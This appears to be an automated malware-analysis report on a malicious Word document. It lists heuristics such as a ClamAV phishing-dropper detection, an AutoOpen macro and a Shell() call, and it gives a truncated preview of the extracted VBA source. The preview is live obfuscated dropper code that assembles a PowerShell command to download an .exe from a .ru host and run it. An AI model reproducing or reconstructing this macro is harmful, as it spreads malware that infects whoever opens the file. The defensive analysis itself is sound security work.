MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1059 Command and Scripting Interpreter
The file contains a critical OLE_VBA_SHELL heuristic firing, indicating the use of the Shell() function within its VBA macros. The AutoOpen macro is present and likely attempts to execute obfuscated code. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' suggests a phishing lure designed to drop an image-related payload. The VBA script's obfuscated nature and the presence of the Shell() function strongly suggest it's designed to download and execute a secondary malicious payload.
Heuristics 6
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ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 42906 bytes |
SHA-256: 4ae37e7f0cba4972a620ee81417f10b2b13351ceaba55ff5ae8371b7e3e4af86 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "nZADlHDOouvt"
Sub AutoOpen()
On Error Resume Next
bBMOqwGLf = 8 + CDbl(CYjQutXjZmJ) / (vdFJwZuFZ + ChrB(wGMiUWSdqB / ChrW(847) * COFaYufalTiSN - Sgn(342)))
FjIhAjRZC = 8 + CDbl(caDLYBOvwIa) / (OziXfPfoBRnwc + ChrB(NldJkNzhdzVj / ChrW(847) * YXYiKnMU - Sgn(342)))
JwcBBtOiK = 8 + CDbl(EjondRmXMtjWj) / (wIGRdjc + ChrB(PQEmBHiU / ChrW(847) * DSMQzSktGvnb - Sgn(342)))
TnnPaFtnz = 8 + CDbl(bKtTYjq) / (iosHdDWlw + ChrB(VXWnpjvcRXaCp / ChrW(847) * oBrBXjuADqQw - Sgn(342)))
Application.Run "ZozzjCsfMN", cmRJcjTcriABZq
jLKjspJDR = 8 + CDbl(inVKXwSSpc) / (LTbLUNQvUUjXqz + ChrB(RhfltlPOXEjM / ChrW(847) * wikAozYs - Sgn(342)))
jXYbtIwFw = 8 + CDbl(iLnilnEjO) / (EEHnBHwmjjjrar + ChrB(JGKAcTJYnCBU / ChrW(847) * zzvEldoiPk - Sgn(342)))
ZlLJWSjmk = 8 + CDbl(vbjtjlcvfUlzmc) / (lkiGzCDuWkOQJ + ChrB(GGPQYYVRCVzA / ChrW(847) * wvzZwjUkhCfmu - Sgn(342)))
shJIUUSIZ = 8 + CDbl(ViOETUiIG) / (JFwXKPhpBYEkid + ChrB(oHtBfikYidr / ChrW(847) * iAQztYpkmimz - Sgn(342)))
End Sub
Function cmRJcjTcriABZq()
On Error Resume Next
WjTHkHwcj = ("Y4oj7tem(FrGt+rGtZirP+irPYhuasrGt+rGt)rGt+'+'rGt;b'+'rerGt+rGtak;}catch{wri'+'te-horGirP+irPt+rG'+'tst FZY_rGt+rGt.rGt+rGtErGt+rGtxceptiorirP+irP'+'Gt+rGtn.irP+irPMessrGt+rGt'+'age;BCpkHMdnUzKljqX7qDGECC9ErYmaBDksnz")
ktzPaBVK = 8 + CDbl(MRDPTqQvCYW) / (AjqKjOUaR + ChrB(zUcQjPWMCXjk / ChrW(847) * zPaCfcjPwHo - Sgn(342)))
SwFKmTDiS = Mid(WjTHkHwcj, 6, 176)
nWVPKfJ = 8 + CDbl(iJUDjkaNiTimDH) / (ZqVzkPG + ChrB(vJLowiSzNoRBG / ChrW(847) * JWnGXwj - Sgn(342)))
zFCZLYiqNbY = ("MLZGLPt+irP'+'+irPrGt+ FZrGt+i'+'rP+irPrGtYkarapas + YrGt+rG'+'t1i'+'.exeY1i;foreaqh2qMCf6OYnz0dQrtz")
wRYoQzJKhL = 8 + CDbl(PBrdrkLKpOS) / (lsdwYpSHJYHf + ChrB(HSwQNBj / ChrW(847) * vRzUAAZ - Sgn(342)))
GpGIH = Mid(zFCZLYiqNbY, 7, 76)
wdtpCqmJq = 8 + CDbl(EfwwomBsHMuGjS) / (tMYkRMtcMmcpa + ChrB(cYosIEsJiRV / ChrW(847) * GJAHZYdbE - Sgn(342)))
NaRqzbAPZkY = ("44mqmssv4r4geT-vaRIAble '*mDR*').naME[3,11,2]-Join'')qXcvVBBI6")
riYzkoqhZ = 8 + CDbl(kVtpWYFYqu) / (NCLAOdTiVAH + ChrB(abhzHjbkJshd / ChrW(847) * UHNFBqJ - Sgn(342)))
hdiidjC = Mid(NaRqzbAPZkY, 12, 42)
XPZSMZ = 8 + CDbl(GOCBDzWI) / (aXcoSOpawpPJU + ChrB(UhztVFYUKz / ChrW(847) * UMivDlFcTR - Sgn(342)))
EUiLXzjCYzj = ("A3N0f158llwJrGtkrGt+rGirP+irPt-rGt+rGtgrGt+rGtrupp.ru/rGt+rGtBoPc6/ri1U2")
swcOpwqh = 8 + CDbl(BLwVvDqMzH) / (lVkqXnXLYVXoEc + ChrB(PjPEzVE / ChrW(847) * zrNKnnlU - Sgn(342)))
wnYMJ = Mid(EUiLXzjCYzj, 13, 56)
awAmkIqrk = 8 + CDbl(KKSzwcYnZVjEiX) / (tvoHzvKcjPkwJ + ChrB(jYnBbduKDQG / ChrW(847) * QXzYCVTVRszdX - Sgn(342)))
KcznvhiJE = ("iAPwFEAwFZrirP+irPGirP+irPt+rGtYirP+irPhuasrGt+rGt);InrGt+rGtvorGt'+'+rGtke-IdRLmEjjKullIItXk9i4")
YoruLaFW = 8 + CDbl(hBfzSZYh) / (bcQWODi + ChrB(wwbwzYjYbQ / ChrW(847) * LXUXiXEcbMwF - Sgn(342)))
jDiEuI = Mid(KcznvhiJE, 9, 69)
FfrPPdvbo = 8 + CDbl(irzjNFPKt) / (EiAIicw + ChrB(rJoWdGFmwJb / ChrW(847) * IBtLUIa - Sgn(342)))
ijtGjaDot = ("qIhnhjqYQNrGt+rGtnsrGt+rGtadrGt+rGt'+'arGt+rGtsrGt+rirP+irP'+'GtdrGirP+irPt+rGt = nerGt+rGtw-obrGt+rGtject randrGt+rGtom;rGtirP+irP+rGtF2lQdJD")
VLzzZFwS = 8 + CDbl(wzjMujbkOu) / (ZiMHpavzmWjmN + ChrB(HBOTXSG / ChrW(847) * VHnFbjSRfH - Sgn(342)))
COkXttocsF = Mid(ijtGjaDot, 11, 126)
VmVkfUnC = 8 + CDbl(WfbdFSIrf) / (zNKWJmiMQrcl + ChrB(IFTkwPi / ChrW(847) * rcYqXjXJAO - Sgn(342)))
GDfXHsioPIT = ("CjQXXHZCJ7COk6H00Ttch(FZYabrGt+rGtc rGt+rGtin irP+'+'irPFZrGt+rGtYr'+'Gt+rGtbcdrGt+rGt)irP+irP{rGt'+'+rGttrrGt+rGty{rGt+rGtFirP+irPZ'+'YfrrGuu4MmioZ00Clk5ocZ")
ZMOAC = 8 + CDbl(BjVuPcMnFzOzY) / (EwaWNIqCj + ChrB(ZCwmkbHfMujdH / ChrW(847) * zfYwaor - Sgn(342)))
GqqmjjpDC = Mid(GDfXHsioPIT, 19, 122)
LEtSm = 8 + CDbl(izYDjwYC) / (wzhUMia + ChrB(iqinilb / ChrW(847) * UWikrcswPYANj - Sgn(342)))
uwdXtCSRRP = ("985HJGIm8baLNH68ihrGt+rGtuas ='+' rGt+rGtFrGtirP+irP+rGtZrGt+rGtYrGt+rGterGt+rGt
... (truncated)
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